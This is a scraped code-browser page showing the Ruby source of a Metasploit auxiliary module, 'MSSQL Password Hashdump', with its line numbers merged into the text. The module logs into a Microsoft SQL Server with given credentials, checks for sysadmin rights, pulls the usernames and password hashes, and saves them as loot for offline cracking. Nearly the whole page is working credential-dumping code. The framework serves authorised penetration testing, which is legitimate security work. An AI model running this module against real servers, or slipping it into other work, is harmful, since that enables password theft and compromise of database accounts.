Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/mssql/mssql_hashdump.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner9include Msf::OptionalSession::MSSQL1011def initialize12super(13'Name' => 'MSSQL Password Hashdump',14'Description' => %Q{15This module extracts the usernames and encrypted password16hashes from a MSSQL server and stores them for later cracking.17This module also saves information about the server version and18table names, which can be used to seed the wordlist.19},20'Author' => ['theLightCosine'],21'License' => MSF_LICENSE22)23end2425def run_host(ip)26if session27set_mssql_session(session.client)28elsif !mssql_login(datastore['USERNAME'], datastore['PASSWORD'])29info = self.mssql_client.initial_connection_info30if info[:errors] && !info[:errors].empty?31info[:errors].each do |err|32print_error(err)33end34end35return36end3738service_data = {39address: ip,40port: mssql_client.peerport,41service_name: 'mssql',42protocol: 'tcp',43workspace_id: myworkspace_id44}4546credential_data = {47module_fullname: self.fullname,48origin_type: :service,49private_data: datastore['PASSWORD'],50private_type: :password,51username: datastore['USERNAME']52}5354if datastore['USE_WINDOWS_AUTHENT']55credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN56credential_data[:realm_value] = datastore['DOMAIN']57end58credential_data.merge!(service_data)5960credential_core = create_credential(credential_data)6162login_data = {63core: credential_core,64last_attempted_at: DateTime.now,65status: Metasploit::Model::Login::Status::SUCCESSFUL66}67login_data.merge!(service_data)6869is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]7071unless is_sysadmin == 072login_data[:access_level] = 'admin'73end7475create_credential_login(login_data)7677# Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)78instance_info = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')79instancename = instance_info[1] || instance_info[0]80print_status("Instance Name: #{instancename.inspect}")81version = mssql_query(mssql_sql_info())[:rows][0][0]82version_year = version.split('-')[0].slice(/\d\d\d\d/)8384unless is_sysadmin == 085mssql_hashes = mssql_hashdump(version_year)86unless mssql_hashes.nil? || mssql_hashes.empty?87report_hashes(mssql_hashes,version_year)88end89end90end919293# Stores the grabbed hashes as loot for later cracking94# The hash format is slightly different between 2k and 2k5/2k895def report_hashes(mssql_hashes, version_year)96case version_year97when "2000"98hashtype = "mssql"99when "2005", "2008"100hashtype = "mssql05"101else102hashtype = "mssql12"103end104105this_service = report_service(106:host => mssql_client.peerhost,107:port => mssql_client.peerport,108:name => 'mssql',109:proto => 'tcp'110)111112service_data = {113address: ::Rex::Socket.getaddress(mssql_client.peerhost,true),114port: mssql_client.peerport,115service_name: 'mssql',116protocol: 'tcp',117workspace_id: myworkspace_id118}119120mssql_hashes.each do |row|121next if row[0].nil? or row[1].nil?122next if row[0].empty? or row[1].empty?123124username = row[0]125upcase_hash = "0x#{row[1].upcase}"126127credential_data = {128module_fullname: self.fullname,129origin_type: :service,130private_type: :nonreplayable_hash,131private_data: upcase_hash,132username: username,133jtr_format: hashtype134}135136credential_data.merge!(service_data)137138credential_core = create_credential(credential_data)139140login_data = {141core: credential_core,142status: Metasploit::Model::Login::Status::UNTRIED143}144145login_data.merge!(service_data)146login = create_credential_login(login_data)147148print_good("Saving #{hashtype} = #{username}:#{upcase_hash}")149end150end151152# Grabs the user tables depending on what Version of MSSQL153# The queries are different between 2k and 2k/2k8154def mssql_hashdump(version_year)155is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]156157if is_sysadmin == 0158print_error("The provided credentials do not have privileges to read the password hashes")159return nil160end161162case version_year163when "2000"164results = mssql_query(mssql_2k_password_hashes())[:rows]165else166results = mssql_query(mssql_2k5_password_hashes())[:rows]167end168169return results170171end172end173174175